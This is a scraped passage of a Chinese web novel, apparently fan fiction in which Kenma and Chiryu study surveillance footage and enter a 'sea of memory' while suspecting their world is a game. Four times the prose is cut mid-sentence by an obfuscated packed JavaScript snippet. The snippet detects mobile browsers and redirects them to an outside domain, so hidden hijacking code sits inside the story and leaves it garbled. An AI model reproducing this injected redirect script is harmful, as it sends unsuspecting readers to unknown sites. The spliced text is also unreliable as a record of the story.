类似于,嫉妒他更早地出现在她的人生里。 再然后,这份心情转变为了庆幸——庆幸他给当时的千流带去了前进的动力。 他推门的手一顿。 记得那天,千流是在去向那个人表达感谢的路上突然昏迷的。 [写信]的人,和那个群体会有关系吗? 不知道江户川原野的进展怎么样。 * 我打开房门,刚好一小时。 门外的研磨拎着一盒五仁月饼。 “这么大。”我瞠目结舌,那盒月饼够我和研磨一起吃四顿了。 研磨想要拿入户柜上的一次性鞋套,我磕磕巴巴地叫住了他,指了指地上那双毛茸茸的猫猫拖鞋。 我脚上的是小狐狸。 “就——多买了一双。”我说着语气愈发坚定。 他乖乖穿上,说不准是信没信。 我接过小黑送来的五仁月饼,切了四分之一,剩下的安置在了厨房的柜子里。 “千流。”研磨指了指我的眼角,我生怕自己露馅,“是不是因为喝酒了,眼睛里面还有红血丝。” 我连忙点头。 “我去趟卫生间。”他说。 “那我把五仁月饼放到茶几上了,待会可以变看电影边吃。” 软乎乎的大鹅现在变成了我的靠垫。 说起来,上次和研磨一起看电影,还是当鬼的时候,研磨买了两张票进电影院,还被当作了被女友鸽了的可怜人。 我托腮,在一众经典影片里艰难地挑选。 想要找到一部我和研磨都没有看过的电影也太难了,毕竟我俩都是资深影迷。 影迷一号研磨手持冒着热气的毛巾坐在了沙发上。 “去红血丝的。” 他示意我躺下。 平躺在沙发上,热腾腾的毛巾被敷在眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439688|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,厚毛巾遮住了白炽灯的光亮。 “那我闭目养神一会,研磨还没吃早饭的话,先吃几口月饼吧。” 他嗯了一声,拿起遥控器,似乎也开始找寻着适合一起看的影片。 寂静的房间里回荡着搜索电视的声响。 “研磨。”我说,“毛巾凉了。” 他的语气里有点诧异,但还是凑近了,想要帮我拿下眼睛上的毛巾。 我抓住了他的手,轻轻一拉,另一只手拿掉眼睛上的毛巾,眼睛弯成月牙状:“上当了吧。” 毛巾还冒着热气。 “啊——居然上当了。”研磨平淡的语气让人没有任何的成就感。 我撇嘴,稍微撑着沙发,借了点力,趁研磨没有反应过来的时候,偷偷亲了他一大口。 得意洋洋的我立马从身旁捞来我的大鹅,作为屏障,挡在我和研磨中间。 “偷袭成功。” 某只大鹅玩偶咧嘴笑的表情和拿它挡在身前的主人一样。 直觉告诉我,眼前这只笑着的研磨散发着危险的气息。 我紧紧抱住我的大鹅。 他问:“千流是把它当成被子了吗?” “被子?”我疑惑。 “鬼怪潜伏进家中的时候,恐怖片的主角就是这样,把被子当结界,整个人钻到被子里。” 没错,大鹅就是我免受“制裁”的坚固屏障。 还未等我牢牢攥紧屏障,一脸茫然的我晕晕乎乎地被连鹅带人整个抬起,从躺着的状态一个晃神坐了起来。 ——刚刚发生了什么? 我瞠目结舌:“研磨哪来的力气。” 傻大鹅被随随便便抽到了旁边,他扣住我的肩膀,咫尺间,声音萦绕在我的耳畔。 “偷袭成功?” 虽然身体被研磨的双手锢住,我嘴上还是不肯服输:“刚刚就是偷袭成功了。” 他的声音像羽毛拂过心尖:“要再偷袭一次吗。” 我嘟囔:“这样都不算偷袭了。” 研磨突然俯身,在我的唇边落下一个吻,熨烫进血液里,他低声笑着:“那这样呢?” 大家都是玩一堆游戏摸爬滚打着长大的。 为什么研磨学得就这么迅速——难道学习好的人连这方面都学得快吗。 我遮住自己不争气变红的耳朵,清咳两声,生硬地转移话题:“我要饿死了,快点吃小黑送的月饼。” 其实,在过去的中秋节,都是和星愿一起过的。 她们家并非[传统月饼派],而是更喜欢尝试新式月饼,例如各种口味的冰皮月饼。 上次吃五仁月饼的记忆都模糊了。 我咬着厚实的饼皮,一口下去,扎实的馅料让人充满饱腹感。 “马上要过中秋节了吗?时间过得好快。” 记得我是十月份入学的,现在已经快到十月中旬了…… 我的思绪突然停滞住了。 今年的农历八月十五,不是应该在九月份吗? “…马上就要过中秋节?”我慢慢地又重复了一遍这句话。 打开手机,眼前的电子日历宛如被重塑的乱码,日期重新被排序与打乱。 研磨似乎也微妙地察觉到了不对劲,打开了自己的手机。 混乱的日期跌跌撞撞地定格在了新历十月十五日。 下方像被人生搬硬套般,强硬地附上了节假日的备注。 ——今天是中秋。 62.捉狐狸注意事项 17 * “今天是中秋节?啊,没错。已经给千流寄了月饼,记得查收。” 我挂断电话,研磨同样朝我摇摇头:“小黑也觉得没有异常。” 明明这么错乱的时间,星愿和黑尾却很自然地接受了这一点。 我看向研磨:“你也觉得要弄清楚吧。” 研磨:“唯一的线索,就看江户川同学了吧。” 我也这么认为,假如能调到监控,说不定能找到一些蛛丝马迹,毕竟我的记忆断片在晕倒过去的那一刻。 但如果小八它们谨慎的话,一无所获也是有可能的。 可我觉得,突然错乱的时序,或许就是小八有点力不从心的证明。 ——而且共事多年,小八的不靠谱早已深入我心。 * 尽管自己已经不在意千流和孤爪同学的恋情,江户川原野在心中默念三遍,面色如常地给两人开门。 这样的三人会面是之前从未设想过的。 自从千鹤开始谈恋爱,恋爱对象也确认是个靠谱的人后,孤寡老哥正式孤寡起来。 周末的公寓里只剩他一人。 由于自己的房间过于杂乱,他把电脑搬到了书房和两人见面。 “那天千流同学拜托我的事情昨天才破除安全系统的屏障。“他递给千流和研磨一份U盘,”那天的监控记录在这里。“ 他不好意思地摸了摸脑袋:”不知道千流同学你们拿这个有什么用,所以我没有看里面有没有有效画面,可能也帮不上什么忙。“ “已经很感谢了。”我说。 “那个。”原野看向研磨,“你们可以用这台电脑查看,我给你们倒茶。” 江户川同学一溜烟就跑去倒茶了。 我对研磨说道:“日本人真的很注重隐私保护。江户川同学虽然帮我们调取了监控,但自己一眼也没看。” 这与国籍或许没有多大关系,研磨心想,不可否认,江户川同学是位很好的人。 我们打开监控记录,那天我的昏迷发生在上午时段,于是不需要拖动多久的进度条。 A处的监控记录显示我手中握着信封一类的东西,看了一眼后又把它放回包里。 我皱起眉头,说来信封在我醒来后,就消失了。 包包还在,唯独信封不翼而飞。 画面中的我时不时抬头看着门牌号,我回忆,当时好像是要找信封寄来的地址。 我只记得最后的结果是没有找到,具体的门牌号却记不得了。 我轻轻地抵住有点发痛的太阳穴。 研磨拉开我的手,朝我摇摇头:“头疼的话先别回想了。” 看来我们都有了一些猜想。 比如那天的我一定知道了什么,而这一部分的记忆被刻意地抹去了。 正因为是“需要被抹去”,反而证明了其中必然有特别的秘密。 视频中的我接着沿那条路走,走到路的尽头时,茫然地盯着门牌号,接着左顾右盼像是在找寻什么。 我按下暂停键,截取图片。 江户川同学的电脑里也有图像处理的软件,把图像导入后进行调整,清晰度得以提高。 在不断放大后,门牌号出现在眼前。 [125号] 被掩盖的记忆似乎有点松动,我攥住鼠标,强忍脑海中的痛意,额前不断冒出冷汗。 研磨不作声地递来一张纸。 “这时候叫千流不去接着想是不可能的吧。” 没有人能看着真相从自己的眼前白白溜走。 千流看似很好讲话,但总在一些事情上倔得要命。 “不过这段视频还没有看完。“研磨说,”先把它们记下来,到时候再一并回想吧。” 研磨的思路很正确。 江户川同学敲了敲房门,他给我们倒好了茶。 他的视线在我脸上徘徊,欲言又止:“千流同学,你没事吗?” 我此时的状态估计真的不大好。 “你的脸色很苍白。” 我勉强扬起微笑:“没事的。” 他局促得像我和研磨才是这个房间的主人。 很客气地又把书房让给了我们。 我对研磨调侃:“我们好像恶霸,占据了江户川同学的书房,其实应该把监控记录带回去看的。” 事到如今还是一口气看完吧。 到了最令我在意的事情,我究竟是怎样昏迷。 视频中我的表情突然变得凝重,拿起手机,像是要给人发送讯息。 凭借我对自己的了解,那副表情显然是发送失败了。 随后我有些踉跄,像是站不稳,倚靠着墙壁,身形渐渐滑落。 垂落在身旁的手卸了力,手机也握不紧,差点掉落。 和我一同看录像的研磨神色不虞,我轻轻捏了捏他的手,他的表情才变好一些。 任谁都能看出这不是低血糖导致的眩晕。 我一度以为录像就到此为止了。 画面里本该晕厥过去的我突然在某个瞬间睁开了眼,朝着一个方向递去视线。 即使没有被拍下,有一个念头告诉我,小八一定在那里。 “我”突然奇怪地笑了笑。 诡异的抽离感让我觉得画面里的人不完全是我。 “我”在重新晕过去前,一只手好像碰到了某样东西,可能是小八的实体。 另一只手从包里拿出了一个物品。 然后,监控画面也捕获到了一阵白光。 白光把周围的介质都照亮,那一瞬间,我看到了小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452243|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八的身影,以及125号公寓的右侧,幽蓝色的,和隧道类似的东西。 我的手彻底垂落,昏迷过去。 我一边截图,娴熟地处理图像,一边若有所思地跟研磨说:“研磨还记得我们那次一起去水族馆吗。” “记得,在深海里人还能自由地行走。” “那你记得你说了很奇怪的话吗?” 明明我们那时候还不大熟悉,研磨也是很有分寸感的人,却对当时的我说“千流就是会这样”。 就跟我们两个认识很久了一样。 他说他是和我“很熟”的研磨,以及“下次再见”。 小八解释说那是[数据错乱]。 但在我看来,研磨是活生生的人,而不是一串数据组成的存在,假如用小八的思维再来解读这句话,比起[数据错乱],[记忆错乱]这个词应该更准确一点。 记忆就是人脑的数据。 现在再回想,那时候研磨的笑容与监控画面里的[我],异常地相似。 图像处理的进度接近百分百。 研磨果然没有印象。 我学着当时研磨的语气,把那些话又重复了一遍。 我让研磨凑近点,对着他的脑袋一通乱敲,期待地看向他:“怎么样,有没有想起来什么。” “并没有。” “当时的小八就是这样对着研磨的脑袋敲了一通,然后你就变成了平时的样子。” 看来小八的手法我并没有完全复刻。 弹窗显示图像已经处理成功。 放大当时我的手。 我的手只是抓住了[发卡]。 确切地来说,那是被定位器手环改装成的发卡,上面还有[加强器]。 为什么小八会被拍下,它不是人类世界的摄像头无法记录的存在吗? 为什么我在昏迷前要攥住发卡,究竟是无意识的举动,还是那个“我”故意这么做的。 我打算开始[思考]。 就算再头痛欲裂也要[思考]下去。 却被研磨打断了我的动作。 “不是因为担心千流会再昏过去,才阻止的。” 在这个时候重申这一点,即便是我也会觉得研磨有掩耳盗铃的行为。 他说完也颇不自在地微微侧过脑袋。 “你也有猜到点吧,它们很可能设下了什么限制,阻止你思考和回想,既然是这样,强行想下去不知道会发生什么。” 但也不能坐以待毙。 我在心里补充研磨的话。 “也不是坐以待毙,只是我突然有了一个想法,如果可以实现的话,就不需要千流自己去强行[思考]。” “你也很在意吧。”他目光定定地看向我,说道,“那两个[异常]的存在。” 63.捉狐狸注意事项 18 我和研磨同时想到的两个异常。 第一处就是那件道具。 发卡到现在也别在我的头发上,然而它在我们两个手中除了可以变成各种各样的装饰品,并没有其他效用。 第二处是白光发出的那一刻,被监控摄像头明明白白记录下的画面。 那本该是[不可能被记录]的画面。 并非“人类世界”可以观测的小八,以125公寓一侧幽蓝色的隧道,很明显,小八就是从幽蓝色的隧道来到我的身边。 偏偏那天我是去找写信的笔友。 虽然记不住信封上的地址,但从当时我的行进路线,和愣在125门牌旁的行为,都很容易判断,信封上的地址大概是126号公寓。 而幽蓝色的隧道,正好在125公寓的右侧。 如果也给它安上一个门牌号,合该叫它[126号]公寓。 顺着这个思路往不好的方向想,或许我的[初恋]压根不是人,是小八背后的组织也说不定。 ——就算是冲着这个我也会把他们的真面目和目的扒出来。 * 从和千流说完自己的计划后,她就时不时露出这样可怕的表情。 现在也是。 走在路上冷不伶仃地对着前方的空气发出冷笑,可以猜到是因为很在意笔友的身份以及目的。 记忆中很好的存在突然有一种可能,在开始就抱有别的目的蓄意接近,任谁觉得也会不好受。 “千流,其实不用因为这个发现难过。”这种时候所有的安慰都显得无力。 千流愣了愣,旋即领会到了他的话语。 “我没有因为这个难过。”她思来想去,有些不好意思地说,“其实,这么说很容易被误解成不设防的傻瓜。” “但我就是有这样的直觉,比起用[直觉]这个词,更像是我的内心在说话。” “小八也好,写信的人也好,它们都是很好的人。” “我只是很在意,明明都是很好的人,它们到底都在隐藏什么,为什么不能直截了当地告诉我们?” “而且研磨不觉得,如果我们站在它们的角度,既然都决定要隐藏了,干脆就隐藏干净,而不是好像故意留下线索,帮我们慢慢地找到答案。” 他确实没办法像千流那样去思考。 的确无法排除对方出发点是[好]的可能性。 与之相对的,也无法排除[坏]的可能性。 另外,他很在意。 “小八是很好的人。” “写信的人也是很好的人。” 他学着千流的语气重复这几句话:“千流这么信赖着他们吗?” 某人的醋意简直要把我熏坏了。 在去干正事的路上,我们却不靠谱地聊这种奇奇怪怪的话题。 ——让人觉得很没有紧迫感。 我挽住研磨的手:“这位是我第二信赖的人。” “因为研磨一定会说——第一信赖的人要是自己,对吧?” 醋缸乖乖地把自己打破的洞又封住了。 我们的最终目的地是上次我昏迷的地方,也就是125号公寓。 它的外观和监控摄像头里的并无差别。 自然,凭借肉眼,也看不见那处幽蓝色的隧道。 我参照当时摄像头记录下来的方位,摸了摸那处墙体。 是实心的,就算我一头撞进去也只会有头破血流的下场。 研磨说要让他先试试那个方案。 为了确认一些事情。 他说只是几个没有依据的设想,在确认过后再告诉我。 我觉得,我之所以想不到这些,都是因为可恶的小八。 它们必然通过什么手段夺走了千流的智商,以及思考的能力。 研磨拿着发卡,拆除上面的[加强器],尝试把它放在幽蓝色隧道出现过的墙体上。 加强器从上面滑落,第一种猜测失败了。 我们的猜测是,当时出现的白光一定是某些事物发生了反应。 第一种组合就是加强器和幽蓝色隧道。 研磨告诉我,小八扮演的阎王曾经气冲冲地找上了他,收回了加强器。 “假设他的目的其实是加强器,其他举动只是幌子呢?” “说不定这东西还有别的效用,比如把只有它们能看到的隧道,加强成为普通人也能进入的存在。” 研磨的设想足够天马行空,但也值得尝试,毕竟据他的描述,这个加强器甚至可以投放在虚拟的转发键上,对互联网这种赛博空间产生影响,万一对小八他们的空间也确实有效呢? 我光顾着夸赞研磨的脑洞,却忽视了他当时欲言又止的神情。 我们的第二种猜测是,反应需要的组合是三要素导致的。 我、加强器、以及幽蓝色隧道。 研磨更偏向于这个猜测,我有点困惑他偏向这个猜测的理由,但第一种组合失败了,也只能由我再试一试。 我从他的手中接过加强器。 当攥在手里的那一刻,我就明白,研磨的设想是对的。 我的眼中出现了另一个世界。 整个世界,所有的墙体、路面、树木、甚至是天空,都发着幽蓝色的光。 像在幽蓝色的火焰里燃烧。 “研磨。”我喃喃,“你看见了吗?” 他静默,随后摇头。 要让研磨也看见才行。 其实,幽蓝色的隧道在这样的视角下,并不显得突兀,反而很好地跟这个世界融为一体,就像它本该存在于这里。 我握着加强器,把它贴到幽蓝色的隧道上。 白光并没有即刻出现,只是我的脑海突然一阵剧痛,像是有人生生地把我的灵魂扯出了一半。 在那一半被抽出的时候,白光才出现在我们的视线里。 我看着另一半的自己已经被吸引了那个幽蓝色的隧道,很显然,乘着那一抹白光存在的时机,研磨也能看到隧道。 模模糊糊的视线里,研磨担忧地靠近我,伸出手。 仅仅一步之遥,另一半的我硬生生地从隧道里冒出头,不知为何,从她的目光里读出了一点——你们两个都太不靠谱了的意味。 她一把拽住了研磨的手,把他强行拉进尚未封住的隧道里。 我安心地合上眼...... * 温暖的、咸涩的、海水的味道。 和冰冷的海水不同,倘若海水被阳光穿透,大概就是这种感觉。 好想就这样坠进深海...... 孤爪研磨猛地坐起,拽住自己的衣领,大口大口地喘着气。 他刚刚居然想在深海里睡去。 “千流?” 记忆里的最后一幕,是自己被莫名地吸入突然出现的隧道,而隧道合上的时候,千流并没有进来。 他猛地站起,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452244|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步有点虚浮,无声无息地,被身后的人摁住,脱力地跌倒,坐到地上。 还未等他观察来者,熟悉的面庞凑近,那是和千流一模一样的长相,表情却不相同。 但还是给他一种——那就是千流的感觉。 紫灰色无机质的眼瞳扫视着他,千流半蹲着,扣住他的脸颊,来回检查了一番。 “刚醒不要猛地站起来,你是被我拽进深海的,进来的是[身体],不是[意识],被排斥和有点难受都是正常的。” 她挑眉:“你怎么不问我是谁?” 被扣住的脸颊并不疼,只是这样的姿势有点不习惯,但她好像没有松手的打算。 研磨只好无奈地仰头:“我现在有点体会到你当时说的——直觉,是什么东西了。” 千流笑着松开手,表情比之前生动些:“但是我不会用那种东西去思考。” “简单介绍一下,方便你理解我以及接下来我们的合作。” “我是她被抽出的代表[理智]的那部分灵魂,因为我也不知道的原因,我的这一部分被人处理过,所以总是后知后觉,或者莫名其妙失忆,过去我也来过这片海域,但是记忆无法同步,我也没办法把信息传递给她。” “所以。”她叹气,“刚刚隧道打开的时候,你应该抓住机会,你甚至没有看到白光出现的时候,被吸入到隧道的我。“ “为什么那么犹豫呢?当时你的样子很着急、慌乱,那可不是好的处理方式,如果你能和平常一样思考和观察,就会毫不犹豫地抓住我,跳进来。主动进入的话,就是抽离一部分的灵魂状态。” 不愧是千流的[理智],短短几秒就分析了那么多,连他的心理活动都看得一清二楚。 他的脸上漾起笑,[理智]好像无法理解[不理智]的部分。 她正苦恼地刨根究底。 晕眩的感觉少了一点,研磨站起身,朝半蹲的千流递出手。 “其实很好理解。” 千流露出愿闻其详的表情。 “因为外面的千流头痛得跟要昏迷过去一样,所以无法观察周围的东西。” 她脸上明晃晃写着“这超费解”。 不管什么样的千流都很有趣啊,研磨心想。 “要不是我拉你进来,这次传递信息的机会也要错失了。” “但是还是有你把我拉进来了。” 千流一噎,思考片刻:“好吧,你说的也没错。” “但我们能待在这里调查的时间并不久,我发现,在这里的时间越久,我的意识就会被同化,如果我被完全同化,外面的我就要变成弱智了。” 对这只千流来说,变成弱智似乎是完全不可以接受的事情。 研磨觉得她精彩纷呈的表情和完全理智并不挂钩。 可能她自己还没有意识到。 他笑盈盈:“那很严重了。” “你也是。”千流说,“虽然我不知道你待在这会变成什么样,但是有很大的可能性,待久了就出不去了,从你刚进来昏迷了那么久就能看出来。” “怎么晃都晃不醒,那时候发生了什么?” 他回忆起当时的自己,像是自愿要在海底沉睡。 这里确实很危险。 “看你那副表情,我应该猜对了,总之,一边走,我一边把上次来看到的告诉你。” 她回忆。 片刻,她尴尬地说:“呃,我也记不大清了。” 64.捉狐狸注意事项 19 并非她不靠谱,没有几秒钟,千流就意识到,小八用了双重保险,把她的记忆也处理了一部分。 那剩下的这些是处理漏的,还是故意放出的内容? 她斟酌用词:“也不是完全记不得,我也无法认定我还记得的这些没有被篡改过,你自己思考,看看有没有用。” 他们沿着深海里的小径一直往前。 这里太静谧,又太诡异。 明明是深海,却被日光穿透。 “那个小八,过去是我的助手,现在疑似翻身做主人,指使着一群幽蓝色的鬼火,让它们帮忙搬运[泡泡]。” “我觉得鬼火的智力不高,[泡泡]像投影仪,里面放映着很多内容。” “很遗憾,里面放的内容,我一个都没记住。”她想挽回自己的形象,立马调转话头,“不过我能判断,它们应该就是靠处理这些泡泡来间接处理我们的记忆。” “你看看你的面板还能用吗?” 研磨尝试调动脑海里的面板,一个加强器落在他的手中。 “理智”“冷静”的千流喜气洋洋地拿起那个加强器:“有了这个就好办了。” “你也注意到了吧。” 研磨点头:“这个东西很强。” 千流看了他好几眼:“我没有那么好骗,你还注意到了别的东西吧,或者一些猜测。” 她一边走在研磨前面,一边举起加强器,无机质的眼眸依靠日光,仔仔细细地查看加强器的外部结构。 “这个东西,一开始可以作用于游戏世界,那倒是可以理解,但它同样可以作用于现实世界,以及互联网中的赛博世界,这很不正常,对吗?” “一个道具,就该有它的使用范围,不管造物主是谁,玩游戏的时候就是这样,如果存在一个任何条件都能使用的道具,那用[外挂]来称呼它,更合适一点。” “没有前置的推理条件,我们就可以大胆假设,假设它只是一个道具,以此来进行推理——那就是,无论是被过去的我认为是[现实]的那个世界,还是[游戏世界],它们本质上都是相同的。” “这样一想的话,有没有可能,我们所处的世界依然只是游戏世界呢?”她看向研磨,“你真的没有这么猜测过吗?” 明明自己是理智,怎么被隐瞒了还是有些生气,她气鼓鼓的:“除此之外,还有很多证据可以证明。” 她说的每一句话,就像是把研磨曾经猜测过的那些都梳理了一遍。 “随意被打乱的时序。” “小八一直用bug来称呼和处理这一切,即使是面对你,它也这么说过,习惯用语很能反映部分真相。” “加强器,被我分享权限后,你在这里也能使用的面板。” “记忆之海的泡泡和存档很相似吧?即使我现在没有关于里面内容的记忆,但也能猜测,里面装的东西就是过去经历的记忆。” “还有过去,档案室里的内容,为什么只有接触过的人有档案,其他人的都没有。” “道具里可以用来传送的地图,只有部分地点可以传送。” “你去中国找千流的时候,为什么没有去别的地方试试看,那么精准的,在偌大的中国重名那么多的地点,精准地找到这一处?” 是啊,如果用游戏就能解释。 因为还没有完善这一部分游戏的内容,于是[无法打开][无法访问]。 可能这并非[游戏世界]。 但毫无疑问,在创造它的人眼里,这无限地趋近于一款游戏。 “千流说的我都想过。”他用琥珀色的眼睛静静的望着她,缓缓问道,“那谁才是【玩家】?” “废话,当然是你、我、小黑、星愿.....”她几乎把所有认识的人的姓名都报了个遍。 研磨否认:“其他人都遵循着系统的时间线变动来行动,他们甚至没有意识到不对劲。” “你到底在想什么,研磨?”千流皱眉,“他们可能是脑子不够用。” 千流真的仗着他们听不到,什么都敢说。 即使这时候不该笑,研磨的心情也变得轻松了些。 “那教授呢?”他问,“东京大学的教授,在千流眼里像npc吗?他的学识远在我们之上,却还是没有意识到不对劲。” “你是想说,除我们之外,他们都是npc?”千流不解,“这太荒谬了吧,在我们的记忆里,这么鲜活的大家——” “你无法证明这种假设是错的。”研磨回答。 或许第一次她的[游戏世界]理论给研磨的冲击太大了,导致他现在可以这么轻松地接受身边的一切都是游戏这种设定。 “研磨,你的脑袋一定被啃坏了。”她淡淡地说。 研磨不置可否。 “就算你这么说,也没必要不告诉我吧,第一是我现在压根不相信你的假设,第二是,就算你说的是对的,我们都是[玩家]啊。” “找出这一切的答案,寻找什么是真相,然后去[真实]的世界......” 深海小径到了尽头,千流四处寻觅,想要找到之前看到过的[泡泡]。 [泡泡]的数量显著地减少了,和自己模模糊糊记得的,一大片的壮丽景象完全不同,看来零落的是还没被处理完的。 一幕幕像被倒放的回忆。 “千流原本的意思是,让我记住这里的线索,然后出去传达给外面的你,对吧,因为你记不住。” 千流点头。 “那我也,趁机告诉你一些我的想法吧。”他的笑容像被海水浸润后的阳光,温润敞亮,千流的心里却有些惴惴不安。 什么叫趁机告诉她。 有什么是外面的自己不能知道的吗? 自己告诉现在研磨的一切,他真的会好好地传达给那个千流吗? “今天的尝试证实了我的一些设想,还记得我们是怎么进来的吗?我握着加强器,什么反应都没有,但你可以。” “我之所以能到达这里,也是千流把我拽进来的吧。” “时序错乱,很遗憾,一开始我没有意识到,是因为在你身边,看到了你的表情,我才去想这一切是不是不对劲。” “或许我不是特殊的,特殊的只有你。” 大片的泡泡里循环播放过往的一切,他在那里见到了很多自己的身影。 “游戏里不是经常有这样的设定——由于和玩家待久了,即使是npc也诞生了自我意识,但很可惜,他们没有离开游戏世界的能力。” 研磨笑了笑:“我这样的想法是不是蛮有趣。” 千流:“这就是你不告诉我的原因吧。” 即使在心里默念一万遍她是理智的,也难免萌生——把研磨揍一顿吧,这样的念头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453682|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里这样想着,手已经先一步行动起来,落到研磨的头上,又被硬生生地收了回去。 “不要生气。” “千流想用打我的方式解决,是因为想不到否认的理由吧。” 千流:“我不否认只是因为证据不够。” “我生气是因为你也觉得这是一种让人难受的假设,但还朝我笑,我不喜欢这样。” “然后呢?因为你的假设有可能是真的,所以只敢告诉我,不敢告诉外面的那个我,你担心什么?” 她沉闷地想着,问道:“我们现在连——就算你的猜测是正确的,怎么登出游戏都不知道吧,你该不会觉得,要是有离开的机会,我会因为研磨,不愿意离开?” “开什么玩笑。研磨很了解我吧,我想要的是——”她止住了话。 假如构成千流过往的那一切都是真实的。 那她之所以走到现在,向往的永远是更广阔的天空。 如果一开始想的是——无论如何都要留在我身边。 爱这种神奇的东西,让自私的人都有了放手的能力。 “如果你觉得到最后我也只是个一无所知的npc,登出游戏后也更能接受——这只是个游戏这回事吧。” 就像第一次登出游戏的千流,抱有那样的想法。 “你要是真的这么对外面的我。”她认真,“之后的研磨会很惨的。” 研磨这家伙听不进她的话。 他们没什么交流,只是默契地寻找一些线索,记忆之海里的泡泡被处理掉了大部分,剩余的记忆泡泡放映的都是他们知道的内容。 千流(单方面)跟研磨吵了一架,并且一无所获。 理智千流感受到自己的理智值一点一点被扣掉,手里的加强器灼烧着掌心,再拖延时间假如外面的自己真的变成弱智了,可能真的会被研磨傻乎乎地忽悠走。 这种事情不允许发生。 她深吸一口气,拽住研磨的手,因为是灵魂,她更能察觉到海水的流动。 那是这片深海里唯一一股向上的气流,她还记得灵魂浮起的感觉。 一声不吭地把他带到了气流的周围,把加强器丢到气流的中心,一股强劲的推力驱使着他们从深海上浮。 “你是不是已经有[登出]方法的猜测了。” 大抵是因为这只千流记不住东西,此时的研磨知无不言:“两个国家,日本和中国,连接的边缘是一片海,海水不管从哪件事情来看,对这个世界而言,都是特殊的存在。” 就算是生他气,研磨的脑子也还是在线。 “研磨,你是不是觉得自己已经蛮了解我了。” 在即将浮出海面的前一秒,千流一把拽住了研磨,迫使他们下坠。 “我这个人不是会让自己后悔的性格,所以我也不会让自己在不清不楚的情况下做决定。” “你嘛。”她抓住研磨的衣袖,研磨下意识地揽住她,像在交换一个亲昵的拥抱,“你对我的理解还不够,不知道我想要的是什么。” “我会让你知道的。” 深海的暗涌不及爱人的拥吻引人下坠。 他们像是要把灵魂都灌进彼此的身体里。 海底的气流催促着他们浮起。 千流就这样拥抱着他,灵魂像泡沫,在日光的照耀下逸散,回归到了自己的躯体里。